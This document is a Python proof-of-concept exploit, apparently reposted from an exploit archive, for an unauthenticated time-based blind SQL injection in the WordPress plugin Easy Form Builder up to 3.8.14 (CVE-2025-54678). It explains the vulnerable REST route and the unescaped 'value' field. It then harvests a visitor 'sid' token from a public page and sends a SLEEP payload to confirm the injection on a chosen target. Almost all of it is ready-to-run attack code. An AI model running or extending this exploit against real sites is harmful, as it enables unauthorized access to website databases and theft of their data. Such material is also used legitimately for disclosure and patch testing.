Share
## https://sploitus.com/exploit?id=PACKETSTORM:226451
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Easy Form Builder <= 3.8.14 - Unauthenticated Time-Based Blind SQL Injection (REST)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/easy-form-builder/
    # Software Link: https://downloads.wordpress.org/plugin/easy-form-builder.3.8.14.zip
    # Version: 3.8.14 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-54678
    """
    Easy Form Builder <= 3.8.14 registers the REST route POST /wp-json/Emsfb/v1/forms/response/get
    (includes/class-Emsfb-public.php:70) with permission_callback => __return_true (unauthenticated).
    The callback reads the JSON body and concatenates the `value` field raw into a query
    (class-Emsfb-public.php ~1927/1932):
    
        $id = sanitize_text_field($data_POST['value']);
        $value = $this->db->get_results(
            "SELECT content,msg_id,track,date FROM `$table_name` WHERE track = '$id'");
    
    The body is read via get_json_params() (php://input JSON), which is NOT processed by
    wp_magic_quotes(), so a literal single quote is delivered raw -> SQL injection in a single-quoted
    string. The request is gated only by a `sid` visitor token (efb_code_validate_select) that any
    visitor obtains from the rendered [Easy_Form_Builder_confirmation_code_finder] shortcode page
    (inline JS: "sid":"...").
    
    Payload: nonexist' AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- -
    
    Prior state: plugin active + a page with the confirmation-code-finder shortcode (source of a valid
    sid). setup_state.sh seeds a valid sid row so the PoC is self-contained.
    """
    import argparse, sys, re, time
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def harvest_sid(base, page):
        try:
            h = requests.get(base + page, verify=False, timeout=20).text
            m = re.search(r'"sid":"([^"]+)"', h)
            return m.group(1) if m else None
        except Exception:
            return None
    
    
    def probe(base, sid, seconds):
        payload = "nonexist' AND (SELECT 1 FROM (SELECT SLEEP(%d))x)-- -" % seconds
        t = time.time()
        requests.post(base + "/wp-json/Emsfb/v1/forms/response/get",
                      json={"sid": sid, "valid": "1", "value": payload}, verify=False, timeout=60)
        return time.time() - t
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--sid", help="visitor sid (else harvested from --page)")
        ap.add_argument("--page", default="/track/", help="page rendering the confirmation-code-finder shortcode")
        ap.add_argument("--sleep", type=int, default=5)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        sid = args.sid or harvest_sid(base, args.page)
        if not sid:
            print("[-] no sid (pass --sid or point --page at the shortcode page)"); return 1
        print(f"[*] Target: {base} | sid: {sid}")
        t0 = probe(base, sid, 0)
        t5 = probe(base, sid, args.sleep)
        print(f"[*] SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t5:.2f}s")
        if (t5 - t0) >= args.sleep - 1.5:
            print(f"\n[+] SQL INJECTION CONFIRMED โ€” unauthenticated attacker-controlled SLEEP({args.sleep}) "
                  f"delayed the response by {t5 - t0:.2f}s (value param, forms/response/get).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())